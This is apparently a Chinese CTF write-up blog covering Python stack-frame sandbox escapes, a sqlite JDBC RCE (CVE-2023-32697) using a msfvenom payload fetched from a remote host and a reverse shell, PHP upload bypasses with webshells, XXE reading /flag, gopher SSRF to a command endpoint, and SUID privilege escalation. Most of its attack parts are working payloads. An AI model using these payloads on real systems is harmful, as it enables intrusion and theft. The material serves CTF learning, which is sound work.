1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import os import subprocess from flask import Flask, request, jsonify from uuid import uuid1 app = Flask(__name__) runner = open("/app/runner.py", "r", encoding="UTF-8").read() flag = open("/flag", "r", encoding="UTF-8").readline().strip() @app.post("/run") def run(): id = str(uuid1()) try: data = request.json open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write( runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id)) open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", "")) run = subprocess.run( ['python', f"/app/uploads/{id}.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=3 ) result = run.stdout.decode("utf-8") error = run.stderr.decode("utf-8") print(result, error) if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": f"{result}\n{error}" }) except: if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": "None" }) if __name__ == "__main__": app.run("0.0.0.0", 5000)
main.py主要都是路径相关的,咱们主要看runner.py
source_simple_check
函数
检查源代码中是否存在非 ASCII 字符。
检查源代码是否包含某些敏感关键字(如 __
、getattr
、exit
)。
block_wrapper
函数
通过 sys.audithook
实现运行时审计,拦截特定事件(如 marshal
、process
、os
、sys
等)并立即退出。
source_opcode_checker
函数
使用 Python 的 dis
模块检查字节码中的敏感指令(如 LOAD_GLOBAL
、IMPORT_NAME
、LOAD_METHOD
)。
对某些特定的函数(如 randint
、randrange
、print
)做了豁免处理。
在main主程序中,使用受限的全局变量执行代码(如禁止访问 __builtins__
,只允许使用特定函数)。
看前面就一堆过滤,过滤这过滤那,看到main程序,这我熟啊,沙箱逃逸,一个新知识点,*栈帧逃逸*
栈帧逃逸 基础知识 生成器 生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。
yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束
存在yield就是生成器最明显的标志,yield类似于return,区别在于yield其中好像有next函数,每执行一次yield,也就会从上一次结束的地方执行next,不像return直接返回一个数
生成器表达式 生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。
但是使用圆括号而不是方括号
1 2 3 4 a=(i+1 for i in range(100)) #next(a) for value in a: print(value)
生成器的属性 gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
gi_frame
是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息
举例使用gi_frame获取当前帧的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() # 获取生成器的当前帧信息 frame = gen.gi_frame # 输出生成器的当前帧信息 print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
栈帧(frame)介绍 在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)
栈帧包含了以下几个重要的属性: f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名。 f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。 f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。 f_lasti
: 整数,表示最后执行的字节码指令的索引。 f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!
利用栈帧(frame)逃逸沙箱 原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 key = "this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={} code = compile(codes, "", "exec") exec(code, locals, None) print(locals["b"]) # this is flag
codes创建了一个沙箱环境,但是key在沙箱外,通过frame.f_back.f_back.f_globals[‘key’]逃逸出来,获取到了key的值
L3HCTF2024{“builtins “: None} 1 exec(code,{"__builtins__": None},locals)
典型的栈帧逃逸
不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取
1 2 a=(a.gi_frame.f_back.f_back for i in [1]) a=[x for x in a][0]
1 2 3 a=(a.gi_frame.f_back.f_back for i in [1]) a=[x for x in a][0] globals=a.f_back.f_back.f_globals
中海洋 菜鸟工具2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import * import io import time app = Flask(__name__) black_list = [ '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'SystemExit', 'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input' ] new_builtins = dict([ (key, val) for key, val in __builtins__.__dict__.items() if key not in black_list ]) flag = "flag{xxxxxx}" flag = "DISPOSED" @app.route("/") def index(): return redirect("/static/index.html") @app.post("/run") def run(): out = io.StringIO() script = str(request.form["script"]) def wrap_print(*args, **kwargs): kwargs["file"] = out print(*args, **kwargs) new_builtins["print"] = wrap_print try: exec(script, {"__builtins__": new_builtins}) except Exception as e: wrap_print(e) ret = out.getvalue() out.close() return ret time.sleep(5) # current source file is deleted app.run('0.0.0.0', port=9001)
flag在源码中,但是源码被删除,没有 /proc
目录
要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存
cpython 的实现中暴露了获取 python 栈帧的方法
而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧
而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了
利用 ctypes
模块的指针,将flag
地址周围的值读一下,实现一个从内存读源码
因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可
这里用了char 指针,读出来的是一个字符串
最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
1 2 3 4 5 6 7 8 9 10 11 12 a=(a.gi_frame.f_back.f_back for i in [1]) a = [x for x in a][0] b = a.f_back.f_globals flag_id = id(b['flag']) #id()函数用于读取内存地址 ctypes = b["__builtins__"].__import__('ctypes') #print(ctypes) for i in range(10000): txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value if b"flag" in txt: print(txt)
使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧
而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线
程的 flag,需要从主线程栈帧向上找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 sys = print.__globals__["__builtins__"].__import__('sys') io = print.__globals__["__builtins__"].__import__('io') dis = print.__globals__["__builtins__"].__import__('dis') threading = print.__globals__["__builtins__"].__import__('threading') print(threading.enumerate()) #获取所有活跃线程 print(threading.main_thread()) #获取主线程 print(threading.main_thread().ident) # 获取主线程标识符 print(sys._current_frames()) # 获取所有线程的堆栈帧对象 print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象 frame = sys._current_frames()[threading.main_thread().ident] while frame is not None: out = io.StringIO() # 内存创建字符串I/O流 dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编 content = out.getvalue() #获取反汇编的结果 out.close() print(content) frame = frame.f_back
回到此题 打印出当前帧的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import json payload = '''def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() frame = gen.gi_frame print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)''' data = { "code": payload } print(json.dumps(data)) {"result":"Local Variables: {}\nGlobal Variables: {'__builtins__': None, 'randint': <bound method Random.randint of <random.Random object at 0x556d0dee3160>>, 'randrange': <bound method Random.randrange of <random.Random object at 0x556d0dee3160>>, 'seed': <bound method Random.seed of <random.Random object at 0x556d0dee3160>>, 'print': <built-in function print>, 'my_generator': <function my_generator at 0x7f52f86a02c0>, 'gen': <generator object my_generator at 0x7f52f8792cf0>, 'frame': <frame at 0x7f52f87963b0, file '<sandbox>', line 1, code my_generator>}\nCode Object: <code object my_generator at 0x7f52f85de250, file \"<sandbox>\", line 1>\nInstruction Pointer: 0\n\n\n"}
获取global符号表
1 2 3 4 5 6 7 8 9 10 11 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back) waff() {"result":"<frame at 0x7f15a02e2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f15a02bd0c0, file '<sandbox>', line 8, code waff>\n\n\n"}
继续向上找builtins模块
1 2 3 4 5 6 7 8 9 10 11 12 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) waff() 向上3次找到 {"result":"<frame at 0x7f750291acf0, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f7502765b60, file '/app/uploads/eb2153f0-b85f-11ef-a644-0242ac0cbbf7.py', line 84, code <module>>\n\n\n"}
重新定义global下builtins
1 gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
利用f_code打印出其中的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir=gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) waff() 调用builtins模块中的dir打印出 {"result":"<frame at 0x7f1d3bff2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f1d3be41b60, file '/app/uploads/7be1d35a-b861-11ef-bbf9-0242ac0cbbf7.py', line 84, code <module>>\n['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_co_code_adaptive', '_varname_from_oparg', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_exceptiontable', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_positions', 'co_posonlyargcount', 'co_qualname', 'co_stacksize', 'co_varnames', 'replace']\n\n\n"}
打印不出来flag,前面了解到可以用for循环打印
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir = gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) for i in gattr1.co_consts: print(i) waff()
检测到了THIS_IS_SEED
换个形式输出,转str
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_'] dir = gattr.dir gattr1 = frame.f_back.f_back.f_back.f_code print(dir(gattr1)) str=gattr.str for i in str(gattr1.co_consts): print(i) waff()
后面替换掉\n就可看到flag
深深学习到了
借鉴链接:https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#python%E5%88%A9%E7%94%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8
https://www.cnblogs.com/F12-blog/p/18208215
CISCN2024 ezjava JDBC打Sqlite CVE-2023-32697——sqlite jdbc RCE
主要在DatasourceServiceimpl.class里的testDatasourceConnectionAble,里面有三个sql的测试连接方法
看第三种
来自F12师傅:
通过执行jdbc:sqlite::resource:http://ip:port/poc.db
,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-??????
,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db'
,读取传入的url的hashCode,再拼接.db
就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db'));
,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db
是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称
msf生成恶意so文件
1 msfvenom -p linux/x64/exec CMD='echo YmFzaCA |base64 -d |bash ' -f elf-so -o exp.so
上传到服务器启动文件服务
用下列代码算出文件的hashcode
1 2 3 4 5 6 7 8 9 10 11 package com.example.jdbctest.exp; import java.net.MalformedURLException; import java.net.URL; public class filename { public static void main(String[] args) throws MalformedURLException { String so = "http://140.143.143.130:8080/exp.so"; String url = so; String filename = "/tmp/sqlite-jdbc-tmp-"+new URL(url).hashCode()+".db";System.out.printf(filename);} }
比如我的是
利用恶意的db文件https://github.com/su18/JDBC-Attack/blob/main/sqlite-attack/src/main/resources/poc.db
需要修改一下
利用navicat修改即可
之后也上传至服务器
启动监听
1 2 {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"} {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"}
依次运行,等待反弹shell即可
记2025.3.16 ciscn&长城杯线下赛前 [GHCTF 2024 新生赛]PermissionDenied 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function blacklist($file){ $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini"); $ext = pathinfo($file, PATHINFO_EXTENSION); foreach ($deny_ext as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $filecontent = file_get_contents($_FILES['file']['tmp_name']); if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; } } else{ highlight_file(__FILE__); }
审计源码一个文件上传功能的源码,加了点过滤,最主要的点在pathinfo这个函数
1 pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME): mixed
该函数包含4个模块,分别可以打印dirname、basename、extension、filename,主要功能就是用于返回文件的文件路径的信息,包括目录路径、文件名、扩展名等
但
pathinfo
是本地化的,所以为了正确解析包含多字节字符的路径,必须使用 setlocale()
函数来设置匹配的区域设置。
如果路径有多个扩展名,PATHINFO_EXTENSION
只返回最后一个扩展名,而 PATHINFO_FILENAME
只剥离最后一个扩展名。
如shell.php/.只返回.则匹配不到php
即可绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests url = "http://node5.anna.nssctf.cn:25658/" php_file = ( "shell.php%2f.", "<?php `$_GET[a]`; ?>", ) response = requests.post( url, files={"file": php_file} ) print(response.text)
蚁剑链接发现disable_function
插件绕过
1 find / -user root -perm -4000 -print 2>/dev/null
[HNCTF 2022 WEEK3]Fun_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php error_reporting(0); highlight_file(__FILE__); include "k1y.php"; include "fl4g.php"; $week_1 = false; $week_2 = false; $getUserID = @$_GET['user']; $getpass = (int)@$_GET['pass']; $getmySaid = @$_GET['mySaid']; $getmyHeart = @$_GET['myHeart']; $data = @$_POST['data']; $verify =@$_POST['verify']; $want = @$_POST['want']; $final = @$_POST['final']; if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0) echo "Welcom T0 1he HNCTF2022<BR>"; if("state_HNCTF2022" == 1) echo $hint; else echo "HINT? NoWay~!<BR>"; if(is_string($getUserID)) $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r if($user == 114514 && $getpass == $pass){ if (!ctype_alpha($getmySaid)) die(); if (!is_numeric($getmyHeart)) die(); if(md5($getmySaid) != md5($getmyHeart)){ die("Cheater!"); } else $week_1 = true; } if(is_array($data)){ for($i=0;$i<count($data);$i++){ if($data[$i]==="Probius") exit(); $data[$i]=intval($data[$i]); } if(array_search("Probius",$data)===0) $week_2 = true; else die("HACK!"); } if($week_1 && $week_2){ if(md5($data)===md5($verify)) // HNCTFWelcome to if ("hn" == $_GET['hn'] &+!!& " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want)) die("HACK!"); else{ echo "Fine!you win"; system("cat ./$want"); } } else die("HACK!"); } ?> Welcom T0 1he HNCTF2022 HINT? NoWay~! Fine!you win http://node5.anna.nssctf.cn:27374/?user=114514&mySaid=QNKCDZO&myHeart=240610708& hn=hn&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%63%74%66=%E2%80%AE%E2%81%A6%2B%21%21%E2%81%A9%E2%81%A6%26%20%22%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 hn=hn&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%63%74%66=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 data[0]=probius&verify[]=0&want=fl*
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index(): return open(__file__).read() @app.route('/ghctf',methods=['POST']) def parse(): xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe." parser = etree.XMLParser(load_dtd=True, resolve_entities=True) root = etree.fromstring(xml, parser) name=root.find('name').text return name or None if __name__=="__main__": app.run(host='0.0.0.0',port=8080)
很明显的xxe
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <root> <name>&xxe;</name> </root>
编个码
1 %3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+root+%5B%0D%0A++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fflag%22%3E%0D%0A%5D%3E%0D%0A%3Croot%3E%0D%0A++++%3Cname%3E%26xxe%3B%3C%2Fname%3E%0D%0A%3C%2Froot%3E
[GHCTF 2025]Goph3rrr 访问app.py下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 @app.route('/Gopher') def visit(): url = request.args.get('url') if url is None: return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇≦)" result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True) return result.stdout @app.route('/RRegister', methods=['GET', 'POST']) def register(): junk_code() if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username in users: return b64e("Username already exists!") users[username] = {'password': hashlib.md5(password.encode()).hexdigest()} return b64e("Registration successful!") return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Register</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #28a745; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-success { background-color: #28a745; border: none; } .btn-success:hover { background-color: #218838; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Register</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-success w-100">Register</button> </form> </div> </div> </div> </body> </html> """) @app.route('/Manage', methods=['POST']) def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden!!!" if request.method == "GET": return "Allowed!!!" if request.method == "POST": return os.popen(request.form.get("cmd")).read() @app.route('/Upload', methods=['GET', 'POST']) def upload_avatar(): junk_code() if request.method == 'POST': username = request.form.get('username') if username not in users: return b64e("User not found!") file = request.files.get('avatar') if file: file.save(os.path.join(avatar_dir, f"{username}.png")) return b64e("Avatar uploaded successfully!") return b64e("No file uploaded!") return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Upload Avatar</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #dc3545; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-danger { background-color: #dc3545; border: none; } .btn-danger:hover { background-color: #c82333; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Upload Avatar</h3> </div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="avatar" class="form-label">Avatar</label> <input type="file" class="form-control" id="avatar" name="avatar" required> </div> <button type="submit" class="btn btn-danger w-100">Upload</button> </form> </div> </div> </div> </body> </html> """) @app.route('/app.py') def download_source(): return send_file(__file__, as_attachment=True)
结合文件名看样子是gopher跳转到manage去执行命令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests import urllib.parse payload=\ """POST /Manage HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 7 cmd=env """ #注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://0.0.0.0:8080/'+'_'+new result = urllib.parse.quote(result) print(result)
[GHCTF 2025]Getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 <?php highlight_file(__FILE__); class ConfigLoader { private $config; public function __construct() { $this->config = [ 'debug' => true, 'mode' => 'production', 'log_level' => 'info', 'max_input_length' => 100, 'min_password_length' => 8, 'allowed_actions' => ['run', 'debug', 'generate'] ]; } public function get($key) { return $this->config[$key] ?? null; } } class Logger { private $logLevel; public function __construct($logLevel) { $this->logLevel = $logLevel; } public function log($message, $level = 'info') { if ($level === $this->logLevel) { echo "[LOG] $message\n"; } } } class UserManager { private $users = []; private $logger; public function __construct($logger) { $this->logger = $logger; } public function addUser($username, $password) { if (strlen($username) < 5) { return "Username must be at least 5 characters"; } if (strlen($password) < 8) { return "Password must be at least 8 characters"; } $this->users[$username] = password_hash($password, PASSWORD_BCRYPT); $this->logger->log("User $username added"); return "User $username added"; } public function authenticate($username, $password) { if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) { $this->logger->log("User $username authenticated"); return "User $username authenticated"; } return "Authentication failed"; } } class StringUtils { public static function sanitize($input) { return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } public static function generateRandomString($length = 10) { return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length); } } class InputValidator { private $maxLength; public function __construct($maxLength) { $this->maxLength = $maxLength; } public function validate($input) { if (strlen($input) > $this->maxLength) { return "Input exceeds maximum length of {$this->maxLength} characters"; } return true; } } class CommandExecutor { private $logger; public function __construct($logger) { $this->logger = $logger; } public function execute($input) { if (strpos($input, ' ') !== false) { $this->logger->log("Invalid input: space detected"); die('No spaces allowed'); } @exec($input, $output); $this->logger->log("Result: $input"); return implode("\n", $output); } } class ActionHandler { private $config; private $logger; private $executor; public function __construct($config, $logger) { $this->config = $config; $this->logger = $logger; $this->executor = new CommandExecutor($logger); } public function handle($action, $input) { if (!in_array($action, $this->config->get('allowed_actions'))) { return "Invalid action"; } if ($action === 'run') { $validator = new InputValidator($this->config->get('max_input_length')); $validationResult = $validator->validate($input); if ($validationResult !== true) { return $validationResult; } return $this->executor->execute($input); } elseif ($action === 'debug') { return "Debug mode enabled"; } elseif ($action === 'generate') { return "Random string: " . StringUtils::generateRandomString(15); } return "Unknown action"; } } if (isset($_REQUEST['action'])) { $config = new ConfigLoader(); $logger = new Logger($config->get('log_level')); $actionHandler = new ActionHandler($config, $logger); $input = $_REQUEST['input'] ?? ''; echo $actionHandler->handle($_REQUEST['action'], $input); } else { $config = new ConfigLoader(); $logger = new Logger($config->get('log_level')); $userManager = new UserManager($logger); if (isset($_POST['register'])) { $username = $_POST['username']; $password = $_POST['password']; echo $userManager->addUser($username, $password); } if (isset($_POST['login'])) { $username = $_POST['username']; $password = $_POST['password']; echo $userManager->authenticate($username, $password); } $logger->log("No action provided, running default logic"); } [LOG] No action provided, running default logic
没啥用
1 2 3 4 5 ?action=run&input=ls%09/ ?action=run&input=echo%09PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8%2B%09|%09base64%09-d%09%3E%09a.php 连蚁剑提权 /var/www/html/wc --files0-from "/flag" /var/www/html/wc: 'NSSCTF{ec25f617-034a-46d8-b34a-afd770bf7b69}'$'\n': No such file or directory
[GHCTF 2025]UPUPUP 可以上传.htaccess
文件 但是后端检验了mine
类型, 直接加上GIF89a
上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype
1 2 3 4 5 6 #define width 1 #define height 1 <FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
